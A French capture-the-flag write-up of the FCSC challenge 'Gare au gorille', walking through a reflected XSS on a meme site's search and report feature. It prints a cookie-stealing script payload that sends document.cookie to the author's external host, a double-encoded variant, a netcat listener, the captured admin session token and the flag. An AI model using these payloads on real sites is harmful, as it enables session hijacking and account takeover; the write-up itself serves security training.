Gare au gorille

Nous allons voir ici le challenge Gare au gorille

Petit tour de reconnaissance

Cliquons sur le lien donné dans l'énoncé. Nous arrivons sur la page suivante :

Nous avons donc à faire à un site de collection de memes avec des singes un peu... beaucoup décalé (mon préféré c'est le 2e, bref).

On a aussi 2 menus en haut :

  • Meme collection, qui redirige sur la page d'accueil
  • Ajouter un meme qui redirige sur une autre page

Ce dernier nous est inaccessible car il faut les droits administrateur.

Revenons donc sur la page d'accueil et cliquons sur une image

Sur cette page, on a l'image, des tags liés à cette image et un drapeau.

On va cliquer sur le drapeau pour voir ce qu'il se passe.

Nous avons plusieurs informations intéressantes sur cette page.

  • Cette page signale une image à un administrateur
  • L'URL est https://gare-au-gorille.france-cybersecurity-challenge.fr/report?url=/?search=meme_01.jpg. On a une variable url qui contient l'URL de la recherche de l'image.

Une des attaques possibles serait de détourner cette URL en espérant pouvoir lire le cookie de l'administrateur en lui faisant croire que l'on signale un mauvais contenu alors qu'on va executer du Javascript pour lire le cookie.... À condition que le cookie de session soit lisible par Javascript.

BINGO !

Le cookie est lisible par Javascript car l'attribut HttpOnly est à false. Ce qui permet de pouvoir lire ce cookie avec du code.

Comment injecter du Javascript dans l'URL pour que le navigateur puisse l'interpréter ?

On va tenter une XSS basique sur l'URL de recherche.

Payload :

<script>alert("TOTO")</script>

BAM !

On vérifie dans le code source.

Effectivement, on retrouve bien notre payload injecté.

Exploit ! Exploit ! Exploit !

Nous allons donc forger un exploit pour tenter de récupérer le cookie de l'administrateur.

Pour cela, on va ouvrir un port en écoute sur une machine perso, et on va tenter de se faire connecter le navigateur de l'administrateur dessus avec le cookie.

Pour se faire, nous allons écrire le payload suivant :

<script>document.write('<img src="http://ecuri.es:1234?cookie=' + document.cookie + '" />')</script>

Ce morceau de code, injecte du code Javascript qui va créer une image en HTML dont l'URL pointe vers notre serveur malicieux

root@ecurie:/root# nc -lvp 1234
listening on [any] 1234 ...

Ça n'a pas l'air de fonctionner... Essayons de double encoder notre payload et appelons l'URL de report à l'administrateur.

%253Cscript%253Edocument.write%2528%2527%253Cimg%2Bsrc%253D%2522http%253A%252F%252Fecuri.es%253A1234%253Fcookie%253D%2527%2B%252B%2Bdocument.cookie%2B%252B%2B%2527%2522%2B%252F%253E%2527%2529%253C%252Fscript%253E

Attendons un peu...

root@ecurie:/root# nc -lvp 1234
listening on [any] 1234 ...
connect to [51.158.144.49] from ns3204063.ip-141-94-171.eu [141.94.171.29] 48430
GET /?cookie=token=O9Mv3sFaQD1UpQRLCXVOCzCi0dRbpz4Wy4kGPngZt36MZnR6xZpbHLQRWfDi6T45 HTTP/1.1
Host: ecuri.es:1234
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4863.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://gare-au-gorille-www:2151/
Accept-Encoding: gzip, deflate

TADAAA !!

Nous avons récupéré le cookie de l'administrateur.

Utilisons le pour nous rendre sur la page d'ajout des memes.

Flag !

FCSC{14b15680de4e305b89eaa2a07b137abf4e39b5773f39a4ea7155ca5387c6f59e}